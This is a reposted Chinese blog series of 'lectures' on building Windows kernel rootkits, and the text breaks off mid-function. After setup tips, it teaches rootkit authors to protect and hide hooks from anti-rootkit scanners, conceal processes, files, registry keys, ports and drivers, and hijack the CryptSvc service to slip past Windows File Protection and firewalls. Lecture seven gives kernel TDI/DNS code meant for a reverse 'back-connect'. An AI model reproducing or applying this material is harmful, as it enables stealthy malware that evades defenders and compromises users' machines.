http://hnbz.wordpress.com.cn/2008/12/14/白菜dll讲座(转)/
白菜普及课第一讲 Windbg以及DDK的安装和配置
2008-09-07 21:27白菜 == Rootkit
Rootkit == 白菜
这第一讲就是普及一下基本知识(会有一些工具下载地址和配置的路径设置之类的)
首先是安装,首先要有DDK,否则是写不了驱动的,我推荐的IDE不是VC,那玩意太智能对于初学者而言是个依赖性的噩梦。我推荐的IDE是notepad++,下载的地方是:http://notepad-plus.sourceforge.net/tw/site.htm
主要原因只有一个有语法高亮,而且开源的东西,可以自己改着玩。
然后我们再来安装一个DDK,具体下载地址可以在www.driverdevelop.com上找到,版本一定要win2003 sp1的,6000的DDK是鸡助~
再然后我们再安装一个VS 2008撑场面(没有2008,你用2005也行)下载可以在verycd上找,
然后给VS装上VS助手(这东西我不推荐你用,但是想快速开发还是需要的)
这些安装好了,我们去微软的地方( Install Debugging Tools for Windows 32-bit Version
http://www.microsoft.com/whdc/devtools/debugging/installx86.mspx
Install Debugging Tools for Windows 64-bit Versions
http://www.microsoft.com/whdc/devtools/debugging/install64bit.mspx)找个合适的windbg回来按上,
然后配置windbg的符号目录
C:\MyCodesSym; SRV*C:\MyLocalSym*http://msdl.microsoft.com/download/symbols
这里MyCodesSym是你编译驱动后产生的pdb放的地方。
好了,这样就基本OK了~
但是在vista下好像Windbg不能直接开本地测试,没错,不过没有关系,我们有强大的工具可以用~
虽然只能用于32位的Vista但是一般够用了~具体地址在这里
http://hi.baidu.com/xiaoweitech/blog/item/2a344ddd735aa2315982dd58.html
白菜普及课第二讲 操作系统设置和Dump
2008-09-07 21:49白菜 == rootkit
rootkit == 白菜
dump 是蓝屏的钙,蓝屏的钙可以解决问题~~
以下以vista用户为例
点击计算机》右键》属性》高级系统设置》启动和故障恢复》设置》选择核心内存转储,勾上覆盖现有文件
这样就成功啦啦~~
然后关于dump分析:
可以看下连接
http://hi.baidu.com/isyull/blog/item/b332e463d5c1f9630d33fa40.html
这是基本的操作,具体到堆栈分析时有些特别,下一讲再说。
白菜普及课头两讲的一些参考资料
2008-09-08 02:39关于环境的文章
http://bbs.pediy.com/showthread.php?t=48220
http://bbs.pediy.com/showthread.php?t=69395&viewgoodnees=1
白菜普及课第三讲 谈谈Hook
2008-09-08 14:37白菜 == Rootkit
Rootkit == 白菜
本讲不再照顾初学者,有关Hook的具体事宜可以参考看雪地址:http://bbs.pediy.com/showthread.php?t=56817
我们这里要说五个东西
第一个是SSDT HOOK已经过时了,所以以后大家HOOK的时候多用inline hook(不明白inline hook和ssdt hook的可以去看那个连接)
第二个是你要是用SSDT HOOK,也不能单纯的使用SSDT Hook,要结合其他的HOOK方式搞~
第三个是EAT HOOK和IAT HOOK(IAT参考sysnap的文章,连接是http://bbs.pediy.com/showthread.php?t=62316)不仅仅可以HOOK函数,还可以HOOK 变量,比如PsProcessType,NtBuildNumber,KeServiceDescriptorTable,具体用这些hook可以干什么以后,我们再说。
第四个是hook未导出的函数,这里重点说说搜索,通式性的搜索几个要点:
第一点是找临近函数,在IDA使用查找该函数的引用来找,可能有多级搜索的可能,因此要找最容易的引用关系,这个看经验啦啦;
第二点是特征选取,尽量选取特征比较明显,比较容易跨平台搜索的,然后对特征做翻译
如mov edx,xxxxx 翻译成 mov reg32,imm32多选一些特征翻译,搜索时依靠反汇编引擎,不要自己手工搜索–手工搜索是个麻烦的事情,而且通常不通用都是因为手工+特征选的不好产生的
对于多级搜索,特征要取的更多一些,尽量使用翻译性特征。
第三点就是反汇编引擎,一定要支持x64的引擎,推荐引擎连接为:http://www.ragestorm.net/distorm/
好了关于未导出的搜索就到这里
接 下来我们来说第五个要点,inline hook使用汇编引擎,为什么要汇编引擎,这是因为普通的inline hook不能满足白菜的工作,普通只使用反汇编引擎的inline hook是很难,做出变化性的hook的,每次hook的代码不同,变体引擎比较容易写(具体可以参考很多东西),使用汇编引擎的好处是可以处理x64和 x86的hook问题~这里不做什么推荐了,大家可以根据喜好使用自己的东西,另外可以弄花,一般情况下反汇编分析查找inline hook的工具是不支持junk code识别的,大可以用十多条花搞晕它~~
第六个东西就是object hook和pool hook,之所以一起谈论,是因为object hook要说的东西比较简单,第一点就是object的处理路径不仅仅是objectype里的那些东西,大可以更深一些,比如Parse过程内部的某个 call的内部的某个未导出函数上的hook,这样才叫深度object hook!表面那种hook不是很好的说,容易检查,也容易恢复。pool hook说的不仅仅是把hook 的代码放到nonpaged pool里那么简单,也不仅仅是hook ExAllocateXXX那么简单,pool hook是说可以通过pool管理器的object hook做一些简单的保护策略等等…
白菜普及课第四讲 谈谈Hook的保护
2008-09-08 23:15白菜 = rootkit
rootkit = 白菜
这里讲讲述一些保护hook的思路,一些很猥琐但是很效的思路,会给出一些流程图,方便白菜作者们使用。
1.通用的SSDT hook,EAT Hook,IAT Hook,Inline hook保护技巧
武功有三种境界,白菜的hook保护也有三种境界
第一个境界就是 开个线程,定时扫描自己的挂钩是否还活着,当然为了好办事一点要抹掉自己那个线程的
XX结构,小段代码一下:
//myThread就是你的线程object,myThreadRoutine就是线程的那个代码函数(如果是pool级的就是地址)~
for (DWORD Index=0; Index<0×300; Index+=4)
{
if ( *(DWORD*)((DWORD)myThread+Index) == (DWORD)MyThreadRoutine)
{
*(DWORD*)((DWORD)myThread+Index) = (DWORD)RtlInitUnicodeString+0×110;
}
}
注意这段代码最好在线程里自己调用,否则可能惨死~
看了第一个境界之后自然感觉应该有更高的境界,比如一旦线程被人XX了怎么办~
于是第二境界出现,动态补充线程法,用一个DPCTimer来循环检查我们的线程是否被人搞了,一旦被搞立刻建立新的顶上。同时也有问题,DPCTimer可以被扫描到并被干掉~~
于是有第三境界,就是hal!kfreleaseSpinlock inline hook法配合恶心方式的线程复活法~
a.假定我们inline hook的KfReleaseSpinlock叫newKfRspl
newkfRspl进入,调用原始的kfreleasespinlock恢复irql,检查irql是否<DIPATCH_LEVEL,是检查线程myThreadHandle是否存活,不存活,重现建立线程,否则返回。
b.假设我们注册了一个ThreadNotify,里面判断是否是我们的线程退出,我们的线程退出,且我们没有发退出指令,则立刻去重现建立线程。(注意要和kf里的建立过程互斥!)
c.注册一个processNotify,每次进程退出或者创建时,我们都去检查保护线程是否存在,如果不再立刻调用重建函数。
d.保护线程中除了检查hook外还检查notify是否在相应的列表中,如果不在立刻重新注册,如果注册失败则自己替换列表中的一项~
2.SSDT HOOK的特别保护方法
这里简单说下,上一讲在关于iat,eat的hook上,我说了可以hook变量,比如KeServiceDescriptorTable
我们可以自己定义一个变量myKeServiceDescriptorTable,分配给他nonpagedpool~
然后再给XX一下具体代码如下:
typedef PVOID* PNTPROC;
typedef struct _SYSTEM_SERVICE_TABLE
{
PNTPROC ServiceTable;
PULONG CounterTable;
ULONG ServiceLimit;
PUCHAR ArgumentTable;
}
SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE;
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
SYSTEM_SERVICE_TABLE ntoskrnl;
SYSTEM_SERVICE_TABLE win32k;
SYSTEM_SERVICE_TABLE iis;
SYSTEM_SERVICE_TABLE unused;
}
SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
PULONG mySST;
PUCHAR mySSTParamTable;
ULONG LimitNumber;
PSERVICE_DESCRIPTOR_TABLE myKeServiceDescriptorTable;
void doX(){
myKeServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)ExAllocatePoolWithTag(NonPagedPool,sizeof(SERVICE_DESCRIPTOR_TABLE)+20,’vxk’); LimitNumber = KeServiceDescriptorTable->ntoskrnl.ServiceLimit+KeServiceDescriptorTable->ntoskrnl.ServiceLimit;
mySST = (PULONG)ExAllocatePoolWithTag(NonPagedPool,LimitNumber * 4+20,’vxk’);
mySSTParamTable = (PUCHAR)ExAllocatePoolWithTag(NonPagedPool,LimitNumber+20,’vxk’);
memcpy(mySST,KeServiceDescriptorTable->ntoskrnl.ServiceTable,KeServiceDescriptorTable->ntoskrnl.ServiceLimit *4);
memcpy(mySSTParamTable,KeServiceDescriptorTable->ntoskrnl.ArgumentTable,KeServiceDescriptorTable->ntoskrnl.ServiceLimit);
uplock();
myKeServiceDescriptorTable->ntoskrnl.ServiceLimit = LimitNumber;
myKeServiceDescriptorTable->ntoskrnl.ServiceTable = (PNTPROC)mySST;
myKeServiceDescriptorTable->ntoskrnl.ArgumentTable = mySSTParamTable;
upunlock();
return;
}
这样完成了我们自己的SSDT备份,然后我们做个新处理~
设上一个ImageLoadNotifyRoutine,每次有驱动加载进来的时候,我们就对该驱动的
IAT做HOOK,HookIAT(base,”KeServiceDescriptorTable”,myKeServiceDescriptorTable);
此时就完成了第一阶段的ssdt hook保护,别忘了结合通用保护。
另外我们要为喜欢使用MmGetSystemRoutineAddress获取的人准备一个inline hook吧~
我们inline hook MmGetSystemRoutineAddress当要获取KeSXX时,给他们返回我们的myKeSXX~
此时就很完美了~再加上通用保护,一般情况已经可以应付了~下面进行下一个内容啦啦~
3.Base混淆和MmIsXXX钩子
首先我们来讲什么是Base混淆,所谓base混淆就是说imagebase的混淆,目的只有一个让人不能发现你(pool rootkit也需要,不止混淆自己的base).
第一种混淆是混淆自己的base,也就是修改自己的base和size,这个直接改Driver_object里的相应结构就行了–具体就不说了~
第 二种混淆是通过hook ZwXXX返回的结果修改base,对于抹了自己的链的恐怕不用了~但是修改这个返回结果中的base还有另外的用法就是混淆ntosxxx的base, 这样做可以让某些靠这样取base再文件取offset的ARK完蛋的不能检查hook~~具体该如何混淆就仁者见仁智者见智了~
另外完全可以改XX链的ntosbase,但是这样改了,你就要hook RtlImageDirectoryEntryToData处理你的ntosbase的处理问题…
最后说说MmIsAddressValid的Hook,这个hook可以让你搞定很多ARK的内存扫描~~比如扫描你的hook~~
当然还是要结合通用保护的~
另外RtlImageNtHeader上做hook可以比imageloadnotifyroutine更爽~
至此hook保护完事~
白菜普及课第五讲 说一下隐藏的问题
2008-09-09 06:37白菜 = rootkit
rootkit = 白菜
一般白菜的隐藏基本是这几个东西:文件,注册表,端口,进程,服务,驱动模块,DLL模块
再加上一条hook.
首 先说进程隐藏,这个是最常见的隐藏啦,也是最难做到的隐藏,因为进程可以枚举的地方实在是太多了。而且有的地方无法断开,最多就是针对进程有效性做特殊处 理来欺骗工具软件(断开能断的,比如pspCidTable抹掉自己,csrss里断开,xxlist断开,typelist断开,自己复制 objectheader到pool然后xx掉不该有的header,自己复制psprocessType,XX掉原先的type之类的来做清理工作,把 自己的状态设置为删除中,清除所有与自己有关的ring3 handle等等)
接着我们来说说DLL模块隐藏,PEB里断开,然后参照http://www.debugman.com/read.php?tid=1685抹掉XX就差不多隐藏了,要想彻底的话,还要干掉自己的PE头–防止XX法检查,还要搞掉一些其他的东西,比如模糊线程startRoutine(在hook保护中说了一下方法了,但是DLL枚举上有时候是从线程入手发现未知模块的)
接下来,我们说下驱动模块的隐藏,这个比较简单直接采用reloadAndRun方式可以解决,具体可以参考某人的XX(连接:http://www.debugman.com/read.php?tid=983)~
这样子可以完全没有驱动模块了–可以自己建一个driverobject出来,这样子可以随便XX一下~
再 接下来说下文件隐藏吧,一般性的文件隐藏(我说的都是高级模式的啦),采用Ak922方式比较好,同时注意hook保护,基本上比较不错的解决了多数工 具,对于少数发XX下去读磁盘的也是可以在iofXXX里做过滤的,其处理IRP为SCSI类型和DEVIO类型(不过这里要十分小心蓝屏!),过滤XX 的buffer可以搞定~~吼吼~~对于端口方式枚举或者磁盘XX法枚举的,看到工具后还是插DLL去GUI hack吧(进程也可以GUI hack的)~
然后再来看看注册表隐藏和服务隐藏,我想说的是注册表一般情况下用object干涉法可以很好的隐藏,但是有直接解析 Hive的风险(其实服务隐藏,断开services.exe里服务结构后,再隐藏注册表就隐藏了),还有缓冲的问题,对于解析Hive涉及到文件上了, 多种方式解析一种是Dump Hive然后解析,一种直接解析Hive文件,还有一种是直接内存解析,对于Dump Hive解析也有几种方式,一种是通过ZwRegXX来进行,一种是通过特殊方法来dump hive出来,对于dump hive可以通过在每个文件的CLOSE后去看不看是不是Hive,是Hive就读进来解析做处理再写回~~对于直接hive文件解析,只要合理过滤就可 以拦截(拒绝其访问是最好的方法,因为要是处理起来太复杂~);另一种就是内存解析了,这个没啥好方法解决。~对于缓存问题,不多说了…(具体隐藏方法 baidu搜索HvpGetCellMapped可以找到一堆,推荐看这http://www.ivanlef0u.tuxfamily.org/?p=64)
其 实有个好思路就是首先用自己的DLL替换服务CryptSvc的DLL,对于x32的系统只要暂停CryptSvc服务就可以XX掉WFP了,然后替换这 个服务的DLL,然后再开启这个服务~你就有了一个新的XX服务了,此时你可以利用这个服务来启动驱动(这里不是说绕过XX哦?只是说如何实现自己的驱动 加载),启动后删除注册表项,另外驱动里用重定向保护这个DLL被人检查时还是那个CryptSvc的DLL,其实内存变了,另外CryptSvc的 dLL联网合法…呵呵,因为重定向保护连hash检查也过去了,穿防火墙啦啦~(ring3的服务停止和重启都不会被报警这个很强大)
接着 回头看下端口问题,很多白菜都是要DLL连联网的,因此要隐藏端口,一般的白菜都抄ZwXXX hook法隐藏端口,此方法第一是在Vista没有作用,第二是不能真的隐藏起来。所以真的要隐藏端口还是一样的处理方式,直接走iofXXX的挂钩,对 于Vista处理nsiXXX内部的请求,对于非Vista处理tcpip的请求,轻松隐藏~
最后说下Hook的隐藏,其方法就是访问重定向–简单的说就是让所有非磁盘直接读取ntosXXX和hal,win32k的都去访问可怕的notepad.exe文件(具体重定向采用强大的obj文件干涉法)
本讲暂时到这里,以后可能补充~
白菜普及课第六讲 有关各种保护
2008-09-09 07:26白菜 = rootkit
rootkit= 白菜
保护项目前看起来该有Hook,文件,注册表,进程
这四个东西,我在第四讲特别单独列出的讲了Hook保护,所以这里不再重复了。
我 们先看文件,老实说第一点就是防止被人给删了,第二点就是防止被人给扫描出白菜的大名来,第三点就是不能让人看出来它是坏人;我们假定我们没有做隐藏(这 颗白菜不隐藏自己,他主要工作是保护),我们要保护自己,无非几个Hook点,IoCreateFile,IopCreateFile,FSD irpdispatch,IoCheckXXX,IopParseFileXX–我想说的是我只hook IoParseFileXXX,还有ATAPI级处理,看起来我是坏人中的坏人啦~ioparseFileXXX中,我们不拒绝访问,我们重定向访问 sys的让他们访问微软的1394bus.sys去~访问exe就去explorer.exe吧,访问DLL就是user32.dll;然后ATAPI级 里严格禁止访问我们的sys文件,dll文件,exe文件~结合hook保护,hook隐藏~~当然为了防止被删除这些系统重要文件,可以采用重定向到备 份文件夹内这些文件身上–一般情况不会删除,除非那些靠文件名查杀垃圾才去直接就删连判断是不是M$签名都不做(如果用了CryptSvc替换法就不能用 签名了,但是也有方法能用签名–驱动启动后创建用新的服务来运行CryptSvc的原始DLL或者直接自己做svchost的load工作,驱动中已经重 定位搞定WFP了,但是很麻烦~)~~
对于注册表跟隐藏一样,因为注册表项里只有CryptSvc留着,可以不用保护和隐藏,唯一需要做的 就是不能让人禁止服务–每次ZwSetXXX之后恢复服务启动键值的数字~~不过如果没有用CryptSvc的话,就是另一个方式了,通过obj干涉或者 干脆hook obopenobjectbyname来做保护~~
最后谈谈进程,这个进程我们不能让人干掉它,所以要对obXXX做处理或者obj干涉(关于obj进程干涉可以看这里http://hi.baidu.com/xi4oher/blog/item/88cf9f559e52b5193b293567.html),另外对于线程也是一样要保护的~~(其实采用CryptSvc服务的好处就是基本不会有人察觉出来~另外驱动中对于进程可以做更多保护比如挂钩ExRXXX那个深深的东西)
白菜普及课第七讲 连接网络~
2008-09-09 11:17白菜 = rootkit
rootkit = 白菜
本节想要说点关于网络的东西,我们不提ring3的网络,说ring0的网络。
sysnap同学提议不要再说hook了,好吧,那我们就不说hook,我们说正常的网络~
由于NDIS那些都是hook的,所以我们不去提他,有兴趣的人可以baidu搜索”uty rootkit”
对于Vista下的WSK我也不想提他~因为它不支持XP/2003啊~
我们说说TDX~这里说说TDX的反弹连接~
这里说的是纯ring0的反弹,不需要ring3支持~~
ring0使用TDX反弹主要问题只有一个就是DNS解析问题
第一个要点是获得DNS的地址
使用如下代码获取
int ReadDnsServerFromRegistry ()
{
//Variables locales
NTSTATUS status = STATUS_UNSUCCESSFUL;
WCHAR ChaineRegistre[] = L”\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces“;
UNICODE_STRING usRegistryKey = {0};
OBJECT_ATTRIBUTES obNomClefRegistre = {0};
HANDLE RegHandle = 0;
UNICODE_STRING usRegistryKeySub = {0};
OBJECT_ATTRIBUTES obNomClefRegistreSub = {0};
HANDLE RegHandleSub = 0;
WCHAR ChaineEnableDHCP[] = L”EnableDHCP”;
WCHAR ChaineNameServer[] = L”NameServer”;
WCHAR ChaineDhcpNameServer[] = L”DhcpNameServer”;
char informations_lues[256];
ULONG taille_lue = 0;
KEY_VALUE_FULL_INFORMATION *KeyValue = NULL;
char adresses_ips_dns[40];
int compteur_subkey = 0;
unsigned int adresse = 0;
RtlInitUnicodeString ( &usRegistryKey,
ChaineRegistre);
InitializeObjectAttributes ( &obNomClefRegistre,
&usRegistryKey,
OBJ_CASE_INSENSITIVE| OBJ_KERNEL_HANDLE,
NULL,NULL);
status = ZwOpenKey( &RegHandle,
KEY_READ,
&obNomClefRegistre);
if (status != STATUS_SUCCESS)
{
return -1;
}
compteur_subkey = 0;
status = STATUS_SUCCESS;
while (TRUE)
{
memset(informations_lues,0,256);
status = ZwEnumerateKey ( RegHandle,
compteur_subkey,
KeyBasicInformation,
&informations_lues,
256,
&taille_lue);
if (status != STATUS_SUCCESS)
break;
RtlInitUnicodeString ( &usRegistryKeySub,
((*(KEY_BASIC_INFORMATION*)&informations_lues).Name));
InitializeObjectAttributes ( &obNomClefRegistreSub,
&usRegistryKeySub,
OBJ_CASE_INSENSITIVE| OBJ_KERNEL_HANDLE,
NULL,NULL);
obNomClefRegistreSub.RootDirectory = RegHandle;
status = ZwOpenKey( &RegHandleSub,
KEY_READ,
&obNomClefRegistreSub);
if (status != STATUS_SUCCESS)
{
compteur_subkey++;
continue;
}
memset(informations_lues,0,256);
RtlInitUnicodeString ( &usRegistryKey,
ChaineEnableDHCP);
status = ZwQueryValueKey ( RegHandleSub,
&usRegistryKey,
KeyValueFullInformation,
&informations_lues,
256,
&taille_lue);
if (status != STATUS_SUCCESS)
{
compteur_subkey++;
ZwClose(RegHandleSub);
continue;
}
KeyValue = (KEY_VALUE_FULL_INFORMATION *)informations_lues;
if ( *(int*) (informations_lues+KeyValue->DataOffset))
{
RtlInitUnicodeString ( &usRegistryKey,
ChaineDhcpNameServer);
}
else
{
RtlInitUnicodeString ( &usRegistryKey,
ChaineNameServer);
}
memset(informations_lues,0,256);
status = ZwQueryValueKey ( RegHandleSub,
&usRegistryKey,
KeyValueFullInformation ,
&informations_lues,
256,
&taille_lue);
if (status != STATUS_SUCCESS)
{
compteur_subkey++;
ZwClose(RegHandleSub);
continue;
}
RtlZeroMemory(adresses_ips_dns,40);
UnicodeToString(adresses_ips_dns, informations_lues+KeyValue->DataOffset, 40);
ZwClose(RegHandleSub);
adresse = inet_atoi(adresses_ips_dns);
if (adresse == 0)
{
compteur_subkey++;
continue;
}
ZwClose (RegHandle);
return adresse;
compteur_subkey++;
}
ZwClose (RegHandle);
return -1;
}
获取了DNS的ip后问题就容易处理,剩下构造dns请求包和udp的相关东西~~
因为dns请求的协议要求获得本机地址,要去取本机地址,代码如下
int ReadHostIPsFromRegistry ( OUT char *hostent_buf)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
PHOSTENT pHostent = NULL;
int* pHostentArray= NULL;
char* pHostentData = NULL;
WCHAR ChaineRegistre[] = L”\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces“;
UNICODE_STRING usRegistryKey = {0};
OBJECT_ATTRIBUTES obNomClefRegistre = {0};
HANDLE RegHandle = 0;
UNICODE_STRING usRegistryKeySub = {0};
OBJECT_ATTRIBUTES obNomClefRegistreSub = {0};
HANDLE RegHandleSub = 0;
WCHAR ChaineEnableDHCP[] = L”EnableDHCP”;
WCHAR ChaineIPAddress[] = L”IPAddress”;
WCHAR ChaineDhcpIPAddress[] = L”DhcpIPAddress”;
char informations_lues[256];
ULONG taille_lue = 0;
KEY_VALUE_FULL_INFORMATION *KeyValue = NULL;
char adresse_ip[20];
int compteur_subkey = 0;
unsigned int adresse = 0;
pHostent = (PHOSTENT)hostent_buf;
pHostentData = hostent_buf + sizeof(HOSTENT);
pHostent->h_addrtype = AF_INET;
pHostent->h_length = 4;
pHostent->h_name = pHostentData;
strcpy(pHostentData, global_pwsadata->hostname);
(char*)pHostentArray = pHostentData + strlen(pHostentData)+1;
pHostent->h_addr_list = (unsigned int**)pHostentArray;
pHostentData = ((char*)pHostentArray) + (4*10);
RtlInitUnicodeString ( &usRegistryKey,
ChaineRegistre);
InitializeObjectAttributes ( &obNomClefRegistre,
&usRegistryKey,
OBJ_CASE_INSENSITIVE| OBJ_KERNEL_HANDLE,
NULL,NULL);
status = ZwOpenKey( &RegHandle,
KEY_READ,
&obNomClefRegistre);
if (status != STATUS_SUCCESS)
{
return -1;
}
compteur_subkey = 0;
status = STATUS_SUCCESS;
while (TRUE)
{
memset(informations_lues,0,256);
status = ZwEnumerateKey ( RegHandle,
compteur_subkey,
KeyBasicInformation,
&informations_lues,
256,
&taille_lue);
if (status != STATUS_SUCCESS)
break;
RtlInitUnicodeString ( &usRegistryKeySub,
((*(KEY_BASIC_INFORMATION*)&informations_lues).Name));
InitializeObjectAttributes ( &obNomClefRegistreSub,
&usRegistryKeySub,
OBJ_CASE_INSENSITIVE| OBJ_KERNEL_HANDLE,
NULL,NULL);
obNomClefRegistreSub.RootDirectory = RegHandle;
status = ZwOpenKey( &RegHandleSub,
KEY_READ,
&obNomClefRegistreSub);
if (status != STATUS_SUCCESS)
{
compteur_subkey++;
nprintf(”[niveau socket] !! ReadHostIPsFromRegistry : Echec d’ouverture du registre sur sous-clef\n”);
continue;
}
memset(informations_lues,0,256);
RtlInitUnicodeString ( &usRegistryKey,
ChaineEnableDHCP);
status = ZwQueryValueKey ( RegHandleSub,
&usRegistryKey,
KeyValueFullInformation,
&informations_lues,
256,
&taille_lue);
if (status != STATUS_SUCCESS)
{
compteur_subkey++;
nprintf(”[niveau socket] !! ReadHostIPsFromRegistry : Echec lecture valeur EnableDHCP\n”);
ZwClose(RegHandleSub);
continue;
}
KeyValue = (KEY_VALUE_FULL_INFORMATION *)informations_lues;
if ( *(int*) (informations_lues+KeyValue->DataOffset))
{
RtlInitUnicodeString ( &usRegistryKey,
ChaineDhcpIPAddress);
}
else
{
RtlInitUnicodeString ( &usRegistryKey,
ChaineIPAddress);
}
memset(informations_lues,0,256);
status = ZwQueryValueKey ( RegHandleSub,
&usRegistryKey,
KeyValueFullInformation ,
&informations_lues,
256,
&taille_lue);
if (status != STATUS_SUCCESS)
{
compteur_subkey++;
ZwClose(RegHandleSub);
continue;
}
RtlZeroMemory(adresse_ip,20);
UnicodeToString(adresse_ip, informations_lues+KeyValue->DataOffset, 20);
ZwClose(RegHandleSub);
adresse = inet_atoi(adresse_ip);
if (adresse == 0)
{
compteur_subkey++;
continue;
}
*pHostentArray++ = (int)pHostentData;
RtlCopyMemory( pHostentData,
&adresse,
4);
pHostentData += 4;
compteur_subkey++;
}
ZwClose (RegHandle);
return 0;
}
好了这样可以开始构造的工作了~~哈哈~~
一些定义
typedef struct _async_context {
IO_STATUS_BLOCK IoStatusBlock;
KEVENT CompletionEvent;
PVOID Buffer;
} async_context, *pasync_context;
#define PF_INET TDI_ADDRESS_TYPE_IP
#define AF_INET TDI_ADDRESS_TYPE_IP
#define SOCK_STREAM 0 //TCP
#define SOCK_DGRAM 1 //UDP
#define SOCK_RAW 2 //RAW
#define TDI_MAX_SOCKET 256
#define TDI_MAX_BACKLOG 20
#define TDI_TCP_DEVICE_NAME_W L”\\Device\\Tcp”
#define TDI_UDP_DEVICE_NAME_W L”\\Device\\Udp”
#define TDI_RAW_DEVICE_NAME_W L”\\Device\\RawIp”
#define TDI_TIMEOUT_CONNECT_SEC 60
#define TDI_TIMEOUT_DISCONNECT_SEC 60
#define TDI_TIMEOUT_COMMUNICATION 60
#define SOCKET_STATUS_CLEAR 0
#define SOCKET_STATUS_ALLOCATED 1
#define SOCKET_STATUS_TRANSPORT 2
#define SOCKET_STATUS_CONNECTION 3
#define SOCKET_STATUS_CON_AND_TRANS 4
#define SOCKET_STATUS_ASSOCIATED 5
#define SOCKET_STATUS_LISTEN 6
#define SOCKET_STATUS_WAITING_INBOUND 7
#define SOCKET_STATUS_DISCONNECTED 8
#define SOCKET_STATUS_CONNECTED 9
#define SOCKET_STATUS_CHANGING 10
#define WSA_NOT_ENOUGH_MEMORY 8
#define WSAEMFILE 10024
#define WSAEPROTOTYPE 10041
#define WSAEPROTONOSUPPORT 10043
#define WSAESHUTDOWN 10058
#define WSANO_DATA 11004
typedef struct _sockaddr
{
int sa_family;
USHORT sin_port;
ULONG in_addr;
UCHAR sin_zero[8];
} sockaddr;
typedef struct {
char * h_name;
char ** h_aliases;
short h_addrtype;
short h_length;
unsigned int ** h_addr_list;//char
} HOSTENT, *PHOSTENT;
typedef struct _WSADATA
{
struct protocol_info
{
UNICODE_STRING usDeviceName;
OBJECT_ATTRIBUTES oaDeviceAttributes;
PDEVICE_OBJECT pDeviceObject;
} Protocol[3];
int in_use;
PSOCKET_OBJECT pskSocketArray;
PDRIVER_OBJECT pDriverObject;
PVOID EventDisconnected;
PVOID EventPeerAckDisconnect;
PVOID EventDnsAnswer;
int serveur_dns;
char* hostname;
} WSADATA, *PWSADATA;
typedef struct
{
unsigned short id; // identification number
unsigned char rd :1; // recursion desired
unsigned char tc :1; // truncated message
unsigned char aa :1; // authoritive answer
unsigned char opcode :4; // purpose of message
unsigned char qr :1; // query/response flag
unsigned char rcode :4; // response code
unsigned char cd :1; // checking disabled
unsigned char ad :1; // authenticated data
unsigned char z :1; // its z! reserved
unsigned char ra :1; // recursion available
unsigned short q_count; // number of question entries
unsigned short ans_count; // number of answer entries
unsigned short auth_count; // number of authority entries
unsigned short add_count; // number of resource entries
} DNS_HEADER;
//DNS Question
typedef struct
{
unsigned short qtype;
unsigned short qclass;
} QUESTION;
typedef struct {
unsigned short name;
unsigned short type;
unsigned short _class;
unsigned short ttl_hi;
unsigned short ttl_low;
unsigned short data_len;
unsigned char rdata[1];
}CUSTOM_RES_RECORD;
http://hnbz.wordpress.com.cn/2008/12/14/白菜dll讲座(转)/
下面开始贴具体DNS请求过程的代码了
PHOSTENT gethostbyname ( IN char *name)
{
sockaddr sockaddr_dns = {0};
unsigned char* phostent_buf = NULL;
if (global_pwsadata->serveur_dns == 0)
{
return NULL;
}
phostent_buf = malloc_np(2048);
if (phostent_buf == NULL)
{
errno = WSA_NOT_ENOUGH_MEMORY;
return NULL;
}
RtlZeroMemory (phostent_buf, 2048);
if ( strcmp(name, global_pwsadata->hostname) == 0)
{
if (ReadHostIPsFromRegistry (phostent_buf) == -1)
{
free(phostent_buf);
return NULL;
}
return (PHOSTENT)phostent_buf;
}
sockaddr_dns.sa_family = AF_INET;
sockaddr_dns.in_addr = global_pwsadata->serveur_dns;
sockaddr_dns.sin_port = HTONS(53);
if ( query_dns ( sockaddr_dns,
name,
phostent_buf,
FALSE) != -1)
{
return (PHOSTENT)phostent_buf;
}
else
{
free(phostent_buf);
return NULL;
}
}
下面代码来自俄国鬼子
int query_dns ( IN sockaddr sockaddr_dns,
IN char* nom_a_resoudre,
OUT char *hostent_buf,
IN BOOL rdns)
{
sockaddr sockaddr_bind = {0};
int com_socket = 0;
NTSTATUS status = STATUS_UNSUCCESSFUL;
int taille_string_requete_format_dns = 0;
int taille_string_requete = 0;
unsigned char * buf = NULL;
DNS_HEADER * dns = NULL;
int taille_buffer_dns = 0;
char * res_record_crawler = NULL;
CUSTOM_RES_RECORD * res_record = NULL;
unsigned int * adresse_ip = NULL;
int compteur_reponses = 0;
PHOSTENT hostent = NULL;
char* hostent_content = NULL;
char** hostent_array = NULL;
buf = build_dns_query ( nom_a_resoudre,
&taille_buffer_dns,
rdns);
dns=(DNS_HEADER*)buf;
sockaddr_bind.sa_family = AF_INET;
com_socket = socket(PF_INET, SOCK_DGRAM ,0);
if (com_socket == -1)
{
free(buf);
return -1;
}
status = bind(com_socket,&sockaddr_bind,sizeof(sockaddr));
if (status == -1)
{
free (buf);
status = close(com_socket);
if ( status == -1)
{;}
return -1;
}
MyTdiSetEventHandler ( global_pwsadata->Protocol[global_pwsadata->pskSocketArray[com_socket].type].pDeviceObject,
global_pwsadata->pskSocketArray[com_socket].pTransportObject,
TDI_EVENT_RECEIVE_DATAGRAM ,
global_pwsadata->EventDnsAnswer,
&global_pwsadata->pskSocketArray[com_socket].contexte);
KeInitializeEvent ( &global_pwsadata->pskSocketArray[com_socket].contexte.CompletionEvent,
NotificationEvent,
FALSE);
global_pwsadata->pskSocketArray[com_socket].contexte.Buffer = buf;
status = sendto (com_socket,dns,taille_buffer_dns,0,&sockaddr_dns,sizeof(sockaddr));
if ( status == -1)
{
free (buf);
status = close(com_socket);
if ( status == -1)
{;}
return -1;
}
KeWaitForSingleObject( &global_pwsadata->pskSocketArray[com_socket].contexte.CompletionEvent,
Executive,
KernelMode,
FALSE,
NULL);
status = close(com_socket);
if ( status == -1)
{
return -1;
}
if (dns->ans_count == 0)
{
free (buf);
return -1;
}
else
{
hostent = (PHOSTENT) hostent_buf;
hostent_content = hostent_buf + sizeof(HOSTENT);
taille_string_requete = strlen(nom_a_resoudre);
RtlCopyMemory( hostent_content,
nom_a_resoudre,
taille_string_requete);
